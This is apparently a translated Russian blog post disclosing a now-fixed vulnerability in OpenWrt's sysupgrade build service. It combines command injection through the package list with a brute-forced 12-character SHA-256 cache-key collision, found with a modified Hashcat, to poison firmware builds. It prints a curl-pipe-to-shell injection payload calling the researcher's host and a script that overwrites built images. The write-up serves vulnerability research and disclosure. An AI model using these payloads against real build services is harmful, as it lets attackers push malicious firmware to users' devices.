Несколько дней назад я обновлял сеть своей домашней лаборатории и решил обновить OpenWrt роутера 1. Подключившись к LuCI (веб-интерфейсу OpenWrt), я заметил раздел Attended Sysupgrade и попробовал обновить прошивку с его помощью.

В описании говорилось, что он собирает новую прошивку при помощи онлайн-сервиса.


Мне стало любопытно, как это работает, так что я приступил к исследованиям.

▍ sysupgrade.openwrt.org


Я выяснил, что онлайн-сервис хостится на sysupgrade.openwrt.org. Этот сервис позволяет пользователям собирать образы новых прошивок, выбирая целевое устройство и нужные пакеты.

Когда пользователь пытается обновить прошивку, OpenWrt на стороне пользователя отправляет запрос к серверу с требуемой информацией, включающей в себя:

  • Целевую архитектуру.
  • Профиль устройства.
  • Выбранные пакеты.

Затем сервер на основании этой информации собирает образ прошивки и отправляет его OpenWrt, который записывает образ прошивки в устройство.

Как можно догадаться, сборка образа с предоставляемыми пользователем пакетами может быть опасной. Если сервер собирает предоставленный пользователем код, и он не изолирован должным образом, его можно легко скомпрометировать.

Поэтому я начал исследовать возможные проблемы с безопасностью сервиса.

▍ Инъецирование команд


К счастью, сервер, хостящийся на sysupgrade.openwrt.org — это опенсорсный проект, код которого выложен в openwrt/asu.

Для дальнейших исследований и тестирования поведения сервиса без ущерба для среды продакшена я настроил его локальный инстанс.

Почитав информацию, я выяснил, что для изолирования среды сборки сервер использует контейнеры примерно таким образом:

asu/build.py, строка 154-164

    container = podman.containers.create(
        image,
        command=["sleep", "600"],
        mounts=mounts,
        cap_drop=["all"],
        no_new_privileges=True,
        privileged=False,
        networks={"pasta": {}},
        auto_remove=True,
        environment=environment,
    )

Я подумал, что будет интересно устроить побег из контейнера, поэтому начал изучать возможные способы сделать это.

Вскоре после этого я обнаружил в исходном коде следующую строку:

asu/build.py, строки 217-226

    returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(
        container,
        [
            "make",
            "manifest",
            f"PROFILE={build_request.profile}",
            f"PACKAGES={' '.join(build_cmd_packages)}",
            "STRIP_ABI=1",
        ],
    )

Makefile, на который ссылается код, относится к imagebuilder OpenWrt, а целевая платформа manifest определена следующим образом:

target/imagebuilder/files/Makefile, строки 325-335

manifest: FORCE
	$(MAKE) -s _check_profile
	$(MAKE) -s _check_keys
	(unset PROFILE FILES PACKAGES MAKEFLAGS; \
	$(MAKE) -s _call_manifest \
		$(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)") \
		$(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))

Так как команда make подставляет переменную перед выполнением команды, с ней нельзя безопасно использовать переменные, содержащие контролируемые пользователем значения.

Например, следующий Makefile с make var="'; whoami #" выполнит команду whoami, несмотря на то, что переменная var заключена в одиночные кавычки.

test:
	echo '$(var)'

Так как переменная PACKAGES содержит параметр packages из отправляемого пользователем запроса, нападающий может исполнить произвольную команду в контейнере imagebuilder, отправив пакет вида `command to execute`.

asu/build_request.py, строки 59-70

    packages: Annotated[
        list[str],
        Field(
            examples=[["vim", "tmux"]],
            description="""
                List of packages, either *additional* or *absolute* depending
                of the `diff_packages` parameter.  This is augmented by the
                `packages_versions` field, which allow you to additionally
                specify the versions of the packages to be installed.
            """.strip(),
        ),
    ] = []

Хотя выполняющий команду контейнер изолирован от хоста, это всё равно удобная начальная точка для побега из контейнера 2.

▍ Коллизия SHA-256


Найдя описанную выше возможность инъецирования команд, я приступил к поиску способа побега.

Спустя примерно час я нашёл следующий код:

asu/util.py, строки 119-149

def get_request_hash(build_request: BuildRequest) -> str:
    """Return sha256sum of an image request

    Creates a reproducible hash of the request by sorting the arguments

    Args:
        req (dict): dict containing request information

    Returns:
        str: hash of `req`
    """
    return get_str_hash(
        "".join(
            [
                build_request.distro,
                build_request.version,
                build_request.version_code,
                build_request.target,
                build_request.profile.replace(",", "_"),
                get_packages_hash(build_request.packages),
                get_manifest_hash(build_request.packages_versions),
                str(build_request.diff_packages),
                "",  # build_request.filesystem
                get_str_hash(build_request.defaults),
                str(build_request.rootfs_size_mb),
                str(build_request.repository_keys),
                str(build_request.repositories),
            ]
        ),
        REQUEST_HASH_LENGTH,
    )

Этот метод используется для генерации хэша запроса, а хэш используется в качестве ключа кэша сборок. Когда я увидел это, то задался вопросом, почему здесь вместо сырой строки используется множество внутренних хэшей.

Я проверил код, вычисляющий хэш пакетов:

asu/util.py, строки 152-164

def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:
    """Return sha256sum of str with optional length

    Args:
        string (str): input string
        length (int): hash length

    Returns:
        str: hash of string with specified length
    """
    h = hashlib.sha256(bytes(string or "", "utf-8"))
    return h.hexdigest()[:length]

[...]

def get_packages_hash(packages: list[str]) -> str:
    """Return sha256sum of package list

    Duplicate packages are automatically removed and the list is sorted to be
    reproducible

    Args:
        packages (list): list of packages

    Returns:
        str: hash of `req`
    """
    return get_str_hash(" ".join(sorted(list(set(packages)))), 12)

Мне сразу бросилось в глаза, что длина хэша обрезается до 12 из 64 символов.

12 символов эквивалентны 48 битам, а пространство ключей равно 2^48 = 281,474,976,710,656, то есть оно слишком мало для избегания коллизий.

Хотя этот хэш не используется в качестве ключа кэша, в качестве него применяется внешний хэш, включающий в себя этот хэш. То есть создав коллизию хэша пакетов, мы можем создать тот же ключ кэша, даже если пакеты отличаются. Это позволяет нападающему заставить сервер возвращать неправильный результат сборки для запросов, содержащих разные пакеты.

Я не был уверен, возможна ли коллизия, поэтому решил протестировать это, выполнив брутфорс SHA-256 для нахождения 12-символьной коллизии.

▍ Брутфорсим SHA-256


Я не смог найти инструменты для брутфорса хэшей с поддержкой частичных совпадений, поэтому начал писать собственный.

Путём проб и ошибок я успешно создал программу на OpenCL для выполнения брутфорса на GPU. Однако после тестирования выяснилось, что производительность была ужасной: для вычисления 100 миллионов хэшей требовалось 10 секунд.

Это было практически эквивалентно частоте генерации хэшей на CPU, а поскольку я никогда раньше не писал программ на OpenCL, мне не удалось её оптимизировать.

Поэтому в итоге я остановился на хорошо известной программе для брутфорса хэшей под названием Hashcat.

При помощи небольшого хака мне удалось заставить Hashcat выводить хэши всего с 8 совпавшими символами.

diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.cl
index 6b82987bb..12f2bc17a 100644
--- a/OpenCL/m01400_a3-optimized.cl
+++ b/OpenCL/m01400_a3-optimized.cl
@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
   /**
    * reverse
    */
-
+/*
   u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];
   u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];
   u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];
@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);
-
+*/
   /**
    * loop
    */
@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
     w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);
     w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38);
 
-    if (MATCHES_NONE_VS (h, d_rev)) continue;
+    //if (MATCHES_NONE_VS (h, d_rev)) continue;
 
     w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);
     wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);
@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO
     we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);
     wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f);
 
-    COMPARE_S_SIMD (d, h, c, g);
+    //COMPARE_S_SIMD (d, h, c, g);
+    COMPARE_S_SIMD (a, a, a, a);
   }
 }
 
diff --git a/src/modules/module_01400.c b/src/modules/module_01400.c
index ab002efbe..03549d7f5 100644
--- a/src/modules/module_01400.c
+++ b/src/modules/module_01400.c
@@ -11,10 +11,10 @@
 #include "shared.h"
 
 static const u32   ATTACK_EXEC    = ATTACK_EXEC_INSIDE_KERNEL;
-static const u32   DGST_POS0      = 3;
-static const u32   DGST_POS1      = 7;
-static const u32   DGST_POS2      = 2;
-static const u32   DGST_POS3      = 6;
+static const u32   DGST_POS0      = 0;
+static const u32   DGST_POS1      = 0;
+static const u32   DGST_POS2      = 0;
+static const u32   DGST_POS3      = 0;
 static const u32   DGST_SIZE      = DGST_SIZE_4_8;
 static const u32   HASH_CATEGORY  = HASH_CATEGORY_RAW_HASH;
 static const char *HASH_NAME      = "SHA2-256";

Затем я обернул её в небольшой скрипт, проверяющий, содержит ли вывод из Hashcat 12-символьные коллизии.

▍ Комбинируем обе атаки


Чтобы скомбинировать обе атаки, нам нужно найти полезную нагрузку, имеющую 12-символьную коллизию хэша с обычным списком пакетов.

Я получил список пакетов с firmware-selector.openwrt.org, который является фронтендом sysupgrade.openwrt.org, и вычислил обычный хэш:

$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum
8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb  -

Первые 12 символов этого хэша равны 8f7018b33d94, так что нам нужно найти полезную нагрузку инъецирования команд, имеющую тот же префикс хэша.

Чтобы найти такую полезную нагрузку, я выполнил на RTX 4090 модифицированную версию Hashcat следующей командой:

$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing

После исполнения команды Hashcat начал вычислять хэши со скоростью примерно 500 миллионов хэшей в секунду, поэтому я оставил его работать.

Проверив спустя какое-то время вывод, я выяснил, что Hashcat вычислил все возможные паттерны, но не нашёл 12-символьных коллизий. Причина была в том, что я ошибочно вычислил пространство ?l?l?l?l?l?l?l?l?l?l.

?l — это паттерн маски, генерирующий a-z, поэтому пространство ?l?l?l?l?l?l?l?l?l?l (10 символов) составляет 26^10 = 141,167,095,653,376, что примерно вдвое меньше, чем 2^48 = 281,474,976,710,656.

Но в процессе вычисления пространства я неправильно вычислил его как 26^11 = 3,670,344,486,987,776 и подумал, что этого будет достаточно для нахождения коллизии.

Я исправил паттерн маски на ?l?l?l?l?l?l?l?l?l?l?l (11 символов) и снова оставил программу работать. После выполнения команды мне стало интересно, смогу ли я ускорить брутфорс, поэтому начал изучать Hashcat.

Вскоре я заметил, что производительность существенно увеличилась, когда я переместил паттерн маски в начало команды. Примерно так: `?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh`

Проведя тестирование, я убедился, что могу увеличить скорость примерно в 36 раз, просто поменяв паттерн на следующий:

`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`

При использовании этого паттерна Hashcat смог вычислять хэши со скоростью 18 миллиардов в секунду. В пределах часа Hashcat нашёл 12-символьную коллизию:

$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum
8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8  -

После отправления этой полезной нагрузки как параметра packages сработало инъецирование команд и выполнился скрипт из tmp.ryotak.net.

Я записал в tmp.ryotak.net/8f7018b33d94 следующий скрипт, переписывающий артефакт, созданный imagebuilder.

cat >> /builder/scripts/json_overview_image_info.py <<PY
import os
files = os.listdir(os.environ["BIN_DIR"])
for filename in files:
    if filename.endswith(".bin"):
        filepath = os.path.join(os.environ["BIN_DIR"], filename)
        with open(filepath, "w") as f:
            f.write("test")
PY

В дальнейшем при возникновении коллизии хэша сервер возвращает переписанный артефакт сборки в ответ на запрос, содержащий следующие пакеты:

base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd

Воспользовавшись этим, нападающий может заставить пользователя выполнить обновление зловредной прошивкой, что может привести к компрометации устройства.

▍ Сообщаем о проблеме


После проверки атаки я сообщил о проблеме команде OpenWrt через форму отчётов об уязвимостях в GitHub.

Подтвердив наличие проблемы, разработчики временно приостановили сервис sysupgrade.openwrt.org и изучили уязвимость. За три часа они выпустили исправленную версию и перезапустили сервис.

Хотя команда OpenWrt устранила обе проблемы, остаётся неизвестным, воспользовался ли этой атакой кто-то ещё, потому что уязвимость существовала довольно долгое время.

Поэтому команда решила опубликовать уведомление, чтобы пользователи проверили, не скомпрометировано ли их устройство.

▍ Заключение


В этой статье я объяснил, как смог скомпрометировать сервис sysupgrade.openwrt.org, воспользовавшись инъецированием команд и коллизией SHA-256.

Мне никогда не доводилось находить атаку коллизией хэшей в реальном приложении, поэтому меня удивила возможность её успешного эксплойта при помощи брутфорса хэшей.

Я ценю труд команды OpenWrt по устранению проблем за невероятно короткий срок и информирование пользователей.

1. OpenWrt — это прошивка на основе Linux для встроенных устройств, чаще всего используемая в маршрутизаторах. Она поддерживает широкий спектр устройств и часто применяется в домашних маршрутизаторах.

2. Кроме того, инъецирование команд само по себе является уязвимостью, потому что на последующем этапе созданный двоичный файл подписывается приватным ключом.

Telegram-канал со скидками, розыгрышами призов и новостями IT ?

Комментарии (1)


  1. opanas
    11.12.2024 17:29

    Уязвимость лишь для тех, кто установил пакет luci-app-attendedsysupgrade?